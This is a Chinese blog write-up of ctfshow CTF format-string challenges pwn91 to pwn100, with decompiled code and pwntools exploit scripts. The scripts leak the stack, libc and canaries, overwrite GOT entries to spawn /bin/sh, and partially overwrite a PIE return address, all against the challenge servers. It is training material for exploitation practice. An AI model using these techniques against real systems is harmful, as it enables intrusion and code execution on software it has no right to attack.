ctfshow:格式化字符串pwn91~pwn100
本文最后更新于85 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com

1、pwn91

前言

之前格式化字符串没有学好,现在来重新学一学

32位开了Canary和NX

运行一下

有一个输入,然后会输出一个daniu,去看看代码

main函数:

unsigned int ctfshow()
{
char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v2; // [esp+5Ch] [ebp-Ch]

//v2可能是canary
v2 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
//下面的输入并不会造成栈溢出
read(0, s, 0x50u);
//漏洞就在下方,此时的s是可以控制的
printf(s);
printf(“daniu now is :%d!\n”, daniu);
return __readgsdword(0x14u) ^ v2;
}


我们需要看看ctfshow函数具体有什么功能:

unsigned int ctfshow()
{
  char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
  unsigned int v2; // [esp+5Ch] [ebp-Ch]

  //v2可能是canary
  v2 = __readgsdword(0x14u);
  memset(s, 0, sizeof(s));
  //下面的输入并不会造成栈溢出
  read(0, s, 0x50u);
  //漏洞就在下方,此时的s是可以控制的
  printf(s);
  printf("daniu now is :%d!\n", daniu);
  return __readgsdword(0x14u) ^ v2;
}

因为printf会从栈上读取要输出的内容,所以我们可以控制format string让它输出特定位置的东西

常见的漏洞:

printf(user_input);       // ❌ 直接把用户输入作为 format string
printf(buf);              // ❌ buf 中内容完全可控
fprintf(stderr, buf);     // ❌ 同理
snprintf(dst, n, buf);    // ❌ 格式化目标攻击

格串漏洞的利用:

任意读

%x / %p 泄露栈信息

输入:

AAAA %p %p %p %p

printf 会把某些栈内容泄露出来,可以找到 libc 地址、canary、返回地址等。

任意地址读(最常用)

我们可以让 printf 把某个地址当作字符串指针:

printf("%s", some_address);


如果 format string 可控,可以写成:

AAAA %7$s BBBB


并且在参数位置放入你想读的地址:

payload = b"A" * offset + p64(target_addr)

任意写(核心:%n / %hn / %hhn)

格式化字符串利用最核心的能力是:

%n   把已经打印的字节数写到指定地址(int)
%hn  2 字节
%hhn 1 字节(精确控制)


比如说:

printf("123456%n", &x);


执行后:

x = 6

利用方式:

  1. 把目标地址(如 GOT 表项)写到栈上可被访问的位置(如第 7 个参数)
  2. 构造格式串调用 %n 往那地址写数据

继续pwn91

最后让daniu == 6

danniu在这个位置:

danniu=0x804B038

我们先利用任意读看看偏移:

数一下是在第7个位置,就是数是第几个地址

也可以用任意读验证:

有点生疏呢,用熟悉就好啦,验证成功,偏移是7

我们现在需要向有地址的地方写入六,目前看到的是手搓和利用用pwntools模块中的fmtstr模块直接进行改写

先来手搓吧:

32位的地址是4字节,在偏移为7的位置地址有4位,可以用任意写(%7$n),把这个位置的地址长度写入然后加上2个字节就是六个字节,可以写成’aa%7$n’或’%2c%7$n’

试一试:

from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28217)

payload=p32(0x804B038)+b'aa%7$n'
p.sendline(payload)
p.interactive()

试试fmtstr模块

这个模块之前用来改过地址,但是有些忘了,需要看看参数:

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

writes(指定你要写哪些地址 + 写什么) 比如 0x601028: 0xdeadbeef

numbwritten是已经打印了多少字符,默认是0

write_size(指定写入粒度:byte/short/int) short注意是2字节

欧克这道题就该写成

fmtstr_payload(7,{0x804B038:6})


ok,试一试:

from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28217)

#payload=p32(0x804B038)+b'aa%7$n'
payload=fmtstr_payload(7,{0x804B038:6})
p.sendline(payload)
p.interactive()

2、pwn92

可能上一题没太看懂?来看下基础吧


checskec:

64位got表不可改,开了canary和nx还有地址随机化

我们运行一下看看:

faetong@faetong-virtual-machine:~/pwnit$ ./pwn92
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
  ██▀▀▀▀█  ▀▀▀██▀▀▀  ██▀▀▀▀▀▀            ██                           
 ██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██
 ██           ██     ███████   ██▄▄▄▄ ▀  ██▀   ██  ██▀  ▀██ ▀█  ██  █▀
 ██▄          ██     ██         ▀▀▀▀██▄  ██    ██  ██    ██  ██▄██▄██ 
  ██▄▄▄▄█     ██     ██        █▄▄▄▄▄██  ██    ██  ▀██▄▄██▀  ▀██  ██▀ 
    ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  
    * *************************************                           
    * Classify: CTFshow --- PWN --- 入门                              
    * Type  : Format_String                                           
    * Site  : https://ctf.show/                                       
    * Hint  : Look at the difference !                                
    * *************************************                           
Here is some example:
Hello CTFshow %
Hello CTFshow!
Num : 114514
Format Strings
           A
           Hello
           A
          Hello!
Strings Format
                                         �
/ctfshow_flag: No such file or directory.

好像就是一段演示,输出了很多种字符串,一会儿nc一下就有flag了

先来看看怎么回事,分析一下 代码:

main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  logo();
  puts("Here is some example:");
  //展示一些例子
  example();
  flagishere();
  return 0;
}


example:

unsigned __int64 example()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  //v2应该是canary
  v2 = __readfsqword(0x28u);
  
  //%% → 输出一个字面量 %
  //输出:Hello CTFshow %
  printf("Hello CTFshow %%\n");
  
  //puts会自动添加\n
  puts("Hello CTFshow!");
  
  //整数
  printf("Num : %d\n", 114514);
  
  //%s 按照顺序读取两个参数
  //输出:Format Strings
  printf("%s %s\n", "Format", "Strings");
  
  //%c 打印一个字符
  //65 = ASCII ‘A’
  //%12c 表示宽度为 12 → 左边补空格
  printf("%12c\n", 65);

  //同理换成了字符串
  printf("%16s\n", "Hello");

  //先打印 宽度为 12 的 'A' → 打印 12 字节
  //%n 会把 当前已输出的字符数写入 v1
  //然后再打印一个 \n
  printf("%12c%n\n", 65, &v1);

  //同理上面换成字符串
  printf("%16s%n\n", "Hello!", &v1);

  //位置参数
  //%1$s → 第一个参数 → "Format"
  //%2$s → 第二个参数 → "Strings"
  //实际输出是把两个参数顺序反过来
  printf("%2$s %1$s\n", "Format", "Strings");

  //%42c  → 打印 42 字节(空格 + 一个字符?)
  //%1$n → 向第 1 个参数指向的地址写入“已经打印的字节数”
  printf("%42c%1$n\n", &v1);
  
  return __readfsqword(0x28u) ^ v2;
}


接下来是flagishere函数:

unsigned __int64 flagishere()
{
  FILE *stream; // [rsp+8h] [rbp-68h]
  char format[10]; // [rsp+16h] [rbp-5Ah] BYREF
  char s[72]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v4; // [rsp+68h] [rbp-8h]

  v4 = __readfsqword(0x28u);

  //下面是一个文件操作
  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }

  //读入s
  fgets(s, 64, stream);
  printf("Enter your format string: ");//此时我们需要让它以字符串形式输出
  __isoc99_scanf("%9s", format);
  printf("The flag is :");
  printf(format, s);
  return __readfsqword(0x28u) ^ v4;
}


就输入%s就行啦

3、pwn93

emmm,再来一道基础原理?


64位开了canary,NX,PIE,运行一下:


看不懂英文,看看代码吧:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  menu();
  puts("Enter your choice: ");
  __isoc99_scanf("%d", &v4);
  switch ( v4 )
  {
    case 1:
      func1();
      break;
    case 2:
      func2();
      break;
    case 3:
      func3();
      break;
    case 4:
      func4();
      break;
    case 5:
      func5();
      break;
    case 6:
      nothing_here();
      break;
    case 7:
      exit0();
      break;
    default:
      puts("Invalid choice. Please enter a valid option.");
      break;
  }
  return 0;
}


func1

.text:0000000000000A87                                   public func1
.text:0000000000000A87                                   func1 proc near                         ; CODE XREF: main+89↓p
.text:0000000000000A87                                   ; __unwind {
.text:0000000000000A87 000 55                            push    rbp
.text:0000000000000A88 008 48 89 E5                      mov     rbp, rsp
.text:0000000000000A8B 008 48 8D 3D BE 08 00 00          lea     rdi, aSSSSSSSSSSSSSS            ; "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%"...
.text:0000000000000A92 008 B8 00 00 00 00                mov     eax, 0
.text:0000000000000A97 008 E8 E4 FC FF FF                call    _printf
.text:0000000000000A97
.text:0000000000000A9C 008 90                            nop
.text:0000000000000A9D 008 5D                            pop     rbp
.text:0000000000000A9E 000 C3                            retn
.text:0000000000000A9E                                   ; } // starts at A87
.text:0000000000000A9E
.text:0000000000000A9E                                   func1 endp
.text:0000000000000A9E
.text:0000000000000A9F

em…似乎就是崩溃的原因呢,只有format没有参数

func2

int __fastcall func2(__int64 a1, int a2, int a3, const void *a4, const void *a5, const void *a6)
{
  //%08x:以 8 位十六进制 输出 a2,不足 8 位时左侧补 0
  //%07x:以 7 位十六进制 输出 a3,不足 7 位时左侧补 0
  //%p:以 指针格式 输出 a4, a5, a6
  return printf("%08x-%07x-%p-%p-%p", a2, a3, a4, a5, a6);
}


可以运行看看

public func3
.text:0000000000000AB7                                   func3 proc near                         ; CODE XREF: main+A1↓p
.text:0000000000000AB7                                   ; __unwind {
.text:0000000000000AB7 000 55                            push    rbp
.text:0000000000000AB8 008 48 89 E5                      mov     rbp, rsp
.text:0000000000000ABB 008 48 8D 3D D6 08 00 00          lea     rdi, aAaaaPPPPPPPPPP            ; "AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%"...
.text:0000000000000AC2 008 B8 00 00 00 00                mov     eax, 0
.text:0000000000000AC7 008 E8 B4 FC FF FF                call    _printf
.text:0000000000000AC7
.text:0000000000000ACC 008 90                            nop
.text:0000000000000ACD 008 5D                            pop     rbp
.text:0000000000000ACE 000 C3                            retn
.text:0000000000000ACE                                   ; } // starts at AB7
.text:0000000000000ACE
.text:0000000000000ACE                                   func3 endp

这个就是利用任意读读取地址

func4

unsigned __int64 func4()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);

  //%0134512640d输出一个整数 1,宽度为 134512640字符,不足部分用 0填充
  //%n往v1处写入134512640
  printf("%0134512640d%n\n", 1, &v1);
  return __readfsqword(0x28u) ^ v2;
}


func5

unsigned __int64 func5()
{
  int v1; // [rsp+1h] [rbp-2Fh] BYREF
  __int64 v2; // [rsp+8h] [rbp-28h] BYREF
  __int64 v3; // [rsp+10h] [rbp-20h] BYREF
  char Hello_CTFshow[14]; // [rsp+1Ah] [rbp-16h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  strcpy(Hello_CTFshow, "Hello CTFshow");

  //%hhn:将 printf 输出的字符数量(字符数)写入 *(unsigned char *)(&v1)
  //也就是说只写入 v1 变量的一个字节。
  printf("%s %hhn\n", Hello_CTFshow, &v1);

  //%hn:将输出字符数量写入 *(unsigned short *)(&v1 + 1字节)
  //写入 v1 的中间两个字节。
  printf("%s %hn\n", Hello_CTFshow, (int *)((char *)&v1 + 1));

  //%n:写入一个 4 字节 int
  //目标地址是 v1 的 (char*)&v1 + 3 位置
  //这会覆盖 v1 末尾 1 字节 + 溢出到后面的栈变量!具有危险性。
  printf("%s %n\n", Hello_CTFshow, (int *)((char *)&v1 + 3));

  //%ln:写入 long(8字节)写入到 v2
  printf("%s %ln\n", Hello_CTFshow, &v2);

  //%lln:写入 long long(8字节)写入到 v3
  printf("%s %lln\n", Hello_CTFshow, &v3);
  return __readfsqword(0x28u) ^ v5;
}


可以运行一下看:


exit0:

unsigned __int64 exit0()
{
  FILE *stream; // [rsp+8h] [rbp-58h]
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(s, 64, stream);
  printf("%s", s);
  return __readfsqword(0x28u) ^ v3;
}


就是nc拿flag啦


4、pwn94


32位开了NX

很明显的格式化字符串漏洞

这道题其实就用前面的fmtstr模块把printf_got改为system_plt就可以实现在执行printf()时调用system,我们发送参数’/bin/sh\x00’后就可以getshell了


偏移量是6

from pwn import*
context.log_level='debug'
#p=process("./pwn94")
p=remote("pwn.challenge.ctf.show",28180)
elf=ELF("./pwn94")
printf_got=elf.got['printf']
sys_plt=elf.plt['system']

payload=fmtstr_payload(6,{printf_got:sys_plt})
p.sendline(payload)
p.recv()
p.sendline(b'/bin/sh\x00')
p.interactive()
~                           


5、pwn95(加大了一点点难度,不过对你来说还是so easy 吧)

格式化字符串漏洞

查找偏移:


偏移是6,首先想到用system_plt覆盖printf_got,但是这道题没有system函数,我们需要先泄露libc

from pwn import *
context(arch='i386',log_level='debug')
#p=process("./pwn95")
p=remote("pwn.challenge.ctf.show",28257)
elf=ELF("./pwn95")
printf_got = elf.got['printf']
payload = p32(printf_got) + b'%6$s'
p.send(payload)
printf = u32(p.recvuntil('\xf7')[-4:])
print(hex(printf))
p.interactive()

下载一个合适的在本地然后就和之前一样了

好巧不巧,这个网站似乎不太靠谱了,只能试试LibcSearcher

from pwn import *
from LibcSearcher import *
context(arch='i386',log_level='debug')
#p=process("./pwn95")
p=remote("pwn.challenge.ctf.show",28257)
elf=ELF("./pwn95")
#libc=ELF("./libc-2.34.so")
printf_got = elf.got['printf']
payload = p32(printf_got) + b'%6$s'
p.send(payload)
printf = u32(p.recvuntil('\xf7')[-4:])
print(hex(printf))
#base=printf-libc.sym['printf']
#system=base+libc.sym['system']
libc = LibcSearcher('printf',printf)
libc_base = printf - libc.dump('printf')
system = libc_base + libc.dump('system')

payload=fmtstr_payload(6,{printf_got:system})
p.send(payload)
p.sendline(b'/bin/sh')
p.recv()
p.interactive()


6、pwn96


这里有格式化字符串漏洞,我们可以看看偏移


他直接执行完了,因为我们本地没有这个文件,远程运行一下

但是其实让他格式化输出就是有flag,只是是倒序的,我感觉有点阴啊><

ctfshow{ }转换成16进制倒序看看

63 74 66 73 68 6f 77

倒序就是0x73667463 0x7b776f68

然后{ }的16进制是7b和7d,找到范围后直接手动换一下就行

0x73667463-0x7b776f68-0x34323034-0x38376165-0x6562362d-0x64342d31-0x382d3039-0x2d386562-0x38646537-0x32363165-0x30643438-0xa7d

63746673686f777b34303234656137382d366265312d346439302d386265382d3765643865313632383464307d


7、pwn97(覆写某个值满足某条件好像就可以了)


32位canary、NX


有格式化字符串漏洞

找一下偏移是11

想要拿到flag需要升级权限:

这里有一个check需要check为真,就是值不为0,我们通过格式化字符串漏洞去改写check的值

check在0x804B040,利用fmtstr把这个位置改为2

from pwn import*
context.log_level='debug'
#p=process("./pwn97")
p=remote('pwn.challenge.ctf.show',28250)
check=0x804B040
offset=11
payload=fmtstr_payload(11,{check:2})
p.send(payload)
p.interactive()


8、pwn98(Canary?有没有办法绕过呢?)


确实有canary保护


有/bin/sh字符串


有一个check,我们需要绕过canary保护执行这里就能getshell

最后返回的是canary和v2的与值,相同就可以通过保护返回我们想到的地址

printf那里是明显的格式化字符串漏洞,当然绕过以后可以利用栈溢出漏洞,也许可以泄露canary

偏移量是5,但是我们要的是canary,低字节为00,我们用%x来泄露

s到栈顶的距离是0x34,canary距离ebp 0cx,算下来是(0x34-0xc)/4+5=15

canary在第15个参数

from pwn import *
context.log_level='debug'
#p=process("./pwn98")
p=remote("pwn.challenge.ctf.show",28202)
check=0x80486CE
payload="%15$x"
p.recv()
p.sendline(payload)
res=p.recv()
canary=int(res,16)
print(f'canary: {hex(canary)}')
p.interactive()                       


接下来再加上栈溢出就可以了

from pwn import *
context.log_level='debug'
#p=process("./pwn98")
p=remote("pwn.challenge.ctf.show",28202)
check=0x80486CE
payload="%15$x"
p.recv()
p.sendline(payload)
res=p.recv()
canary=int(res,16)
print(f'canary: {hex(canary)}')
payload1=b'a'*(0x34-0xc)+p32(canary)+b'a'*0xc+p32(check)
p.sendline(payload1)
p.interactive()

9、pwn99

fmt盲打(不是忘记放附件,是本身就没附件!!!)

连上以后说Hint : Flag is on Stack !

什么鬼,还有日语

原来是火影里面的你也想起舞吗

有点乱,换成x

还是格式化字符串漏洞,我们可以利用任意读在栈上读取flag

还是写一个脚本去泄露吧

from pwn import *
context.log_level = 'error'
def send_payload(payload):
    p=remote("pwn.challenge.ctf.show",28170)
    p.recv()
    p.sendline(payload)
    res=p.recvuntil(b"\n",drop=True)
    if res.startswith(b"0x"):
        print(p64(int(res,16)))
    p.close()

i=1
while 1:
    payload='%{}$p'.format(i)
    send_payload(payload)
    i=i+1

但是两次跑出来都不一样,有点怪怪的,但是拼接起来就是全的

10、pwn100

有些东西好像需要一定条件

64位,保护开的吓人

进去首先是一个输入时间的环节

暂时没有利用的

leak:

buf指针处读1字节输出,看能不能控制buf指针

接下来看看fmt_attack

unsigned __int64 __fastcall fmt_attack(int *a1)
{
  char format[56]; // [rsp+10h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(format, 0, 0x30u);
//下面这个判断就是看这个函数有没有被使用过
  if ( *a1 > 0 )
  {
    puts("No way!");
    exit(1);
  }
//似乎只能使用一次
  *a1 = 1;
  read_n(format, 40, format);
  printf(format);//格式化字符串漏洞
  return __readfsqword(0x28u) ^ v3;
}

有一个想想软软的格式化字符串漏洞,但是只能使用一次,如果能控制*a1就好了

我们可以在给*a1赋值的地方下一个断点看看

来看看比较关心的get_flag

void __noreturn get_flag()
{
  char *v0; // rdx
  int fd; // [rsp+Ch] [rbp-64h]
  char s2[88]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int64 v3; // [rsp+68h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(s2, 0, 0x50u);
  puts("Flag is here ! Come on !!");
  read_n(s2, 64, v0);
//我们得知道secret
  if ( !strncmp(secret, s2, 0x40u) )
  {
    close(1);
    fd = open("/flag", 0);
    read(fd, s2, 0x50u);
    printf(s2);//也有一个格式化字符串漏洞
    exit(0);
  }
  puts("No way!");
  exit(1);
}

那目前我们想要fmt_attack可以重复利用,泄露我们想要的东西或者跳转执行

我们看汇编里面

赋值的地址是0x000EA9,我们可以下一个断点在0x000EA5,也可以直接断在fmt_attack

这里的话如果调试没有学号就会有个坑,程序开了pie我们打断点需要知道基址


我们先start让程序跑起来,然后piebase看看基址再打断点就正常了


RAX: 0x7fffffffde6c <- 1

rax的值是0x7fffffffde10,就是伪代码里面a1的地址

随后我们需要看看printf处的偏移,直接运行过去

偏移需要加上64位传参的6个寄存器,偏移为7,我们使用%7$n可以修改a1的值为0就可以重复利用

好啦,重复利用的问题解决了,接下来我们要跳转执行后门函数,之前分析,我们需要跳转到close之后,但是有canary保护

一种解法就是劫持 fmt_attack 的返回地址 → 控制 RIP

利用pie的特性,实际地址=piebase+偏移,而且只需要修改低2字节

这个就是 partial overwrite

也就是我们只需要需改低2字节就可以

piebase其实我们已经知道了0x555555400000

我们需要跳到0x000F56+0x555555400000=0x5555 5540 0F56

但是现在不知道在哪个位置写,还需要调试看看

现在还是运行到printf的位置

我们先运行看看刚刚修改a1=0的效果

from pwn import *
context(arch='amd64',log_level='debug')
p=remote("pwn.challenge.ctf.show",28203)
#p=prosecc("./pwn100")

def time_start():
    p.sendlineafter('What time is it :',b'1 1 1')

def fmt_attack(payload):
    p.sendlineafter('>>',str(2))
    p.sendline(payload)

payload1=b'%7$n'
paylaod2=b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
time_start()
修改a1
fmt_attack(payload1)
第二次利用检验修改
fmt_attack(paylaod2)
p.interactive()

可以发现我们利用成功

接下来我们需要泄露返回地址,方便等会儿利用

我们调试程序到printf处

得到当前函数 fmt_attack 的RBP


调用栈:


现在看看main函数的汇编,需要知道main函数的变量大小

0x20

我们分析一下栈

  • 高地址
  • main_rbp(0x8)
  • main变量(0x20)
  • fmt_attack返回地址
  • fmt_attack_rbp
  • fmt_attack变量
  • 低地址

所以很清晰ret_addr=mian_rbp-0x28

我们要把rbp泄露出来,其实动动脑子,偏移是0xa+6=16

from pwn import *
context(arch='amd64',log_level='debug')
p=remote("pwn.challenge.ctf.show", 28223)
#p=process("./pwn100")

def time_start():
    p.sendlineafter('What time is it :',b'1 1 1')

def fmt_attack(payload):
    p.sendlineafter('>>',str(2))
    p.sendline(payload)

#elf_base=0x555555400000
#payload1=b'%7$n'
#paylaod2=b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
time_start()
#修改a1
#fmt_attack(payload1)
#第二次利用检验修改
#fmt_attack(paylaod2)
#p.interactive()
#泄露出返回地址,偏移16,'-'是标志
payload3=b'%7$n-%16$p'
fmt_attack(payload3)
p.recvuntil('-')
main_rbp=int(p.recvuntil('\n')[:-1],16)
ret_addr=main_rbp-0x28
print(hex(ret_addr))

接下来就要计算elf基址,但是我们一开始就知道了呀,直接就是:0x555555400000

计算elf基址,因为有pie

我们看到这个jump,是printf之后的jump

看看main的汇编就知道偏移是0x0102

接收到的实际地址(偏移为17)=elf_base-0x0102

所以

#计算elf基址
payload4=b'%7$n+%17$p'
fmt_attack(payload4)
p.recvuntil('+')
ret_value = int(p.recvuntil('\n')[:-1],16)
elf_base = ret_value - 0x102c
print(hex(elf_base))

最后直接来到修改返回地址的任意写部分

我们要用%hn(0x0~0xffff)来写入两字节,而且是低2字节

而我们写进去以后需要考虑ret_addr传进去时应该字栈上的那个位置,我们把ret_addr换成AAAAAAAA

from pwn import *
context(arch='amd64',log_level='debug')
#p=remote("pwn.challenge.ctf.show",28203)
p=process("./pwn100")

def time_start():
    p.sendlineafter('What time is it :',b'1 1 1')

def fmt_attack(payload):
    p.sendlineafter('>>',str(2))
    p.sendline(payload)

#elf_base=0x555555400000
#payload1=b'%7$n'
#paylaod2=b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
time_start()
#修改a1
#fmt_attack(payload1)
#第二次利用检验修改
#fmt_attack(paylaod2)
#p.interactive()
#泄露出返回地址,偏移16,'-'是标志
payload3=b'%7$n-%16p'
fmt_attack(payload3)
p.recvuntil('-')
ret_addr=int(p.recvuntil('\n')[:-1],16)
print(hex(ret_addr))

#计算elf基址
payload4=b'%7$n+%17p'
fmt_attack(payload4)
p.recvuntil('+')
ret_value = int(p.recvuntil('\n')[:-1],16)
elf_base = ret_value - 0x102c
print(hex(elf_base))

p.recvuntil('>>')
p.sendline(str(2))
#检验ret_addr在栈上的位置
payload5=(b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%1$hn').ljust(0x10,b'a') + b'AAAAAAAA'
gdb.attach(p)
pause()
p.sendline(payload5)
pause()

先n,然后再原来窗口任意键,n进步到printf


4+6=10的参数位置
接下来改成c%10$hn就行

from pwn import *
context(arch='amd64',log_level='debug')
p=remote("pwn.challenge.ctf.show", 28223)
#p=process("./pwn100")

def time_start():
    p.sendlineafter('What time is it :',b'1 1 1')

def fmt_attack(payload):
    p.sendlineafter('>>',str(2))
    p.sendline(payload)

#elf_base=0x555555400000
#payload1=b'%7$n'
#paylaod2=b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
time_start()
#修改a1
#fmt_attack(payload1)
#第二次利用检验修改
#fmt_attack(paylaod2)
#p.interactive()
#泄露出返回地址,偏移16,'-'是标志
payload3=b'%7$n-%16$p'
fmt_attack(payload3)
p.recvuntil('-')
main_rbp=int(p.recvuntil('\n')[:-1],16)
ret_addr=main_rbp-0x28
print(hex(ret_addr))

#计算elf基址
payload4=b'%7$n+%17$p'
fmt_attack(payload4)
p.recvuntil('+')
ret_value = int(p.recvuntil('\n')[:-1],16)
elf_base = ret_value - 0x102c
print(hex(elf_base))

# p.recvuntil('>>')
# p.sendline(str(2))
#检验ret_addr在栈上的位置
#payload5=(b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%1$hn').ljust(0x10,b'a') + b'AAAAAAAA'
payload5=(b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn').ljust(0x10,b'a') +p64(ret_addr)
#gdb.attach(p)
#pause()
fmt_attack(payload5)
#pause()
flag=p.recvuntil('\n')
print(flag)
print(hex(ret_addr))
print(hex(elf_base))
啦啦啦啦啦啦啦~
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇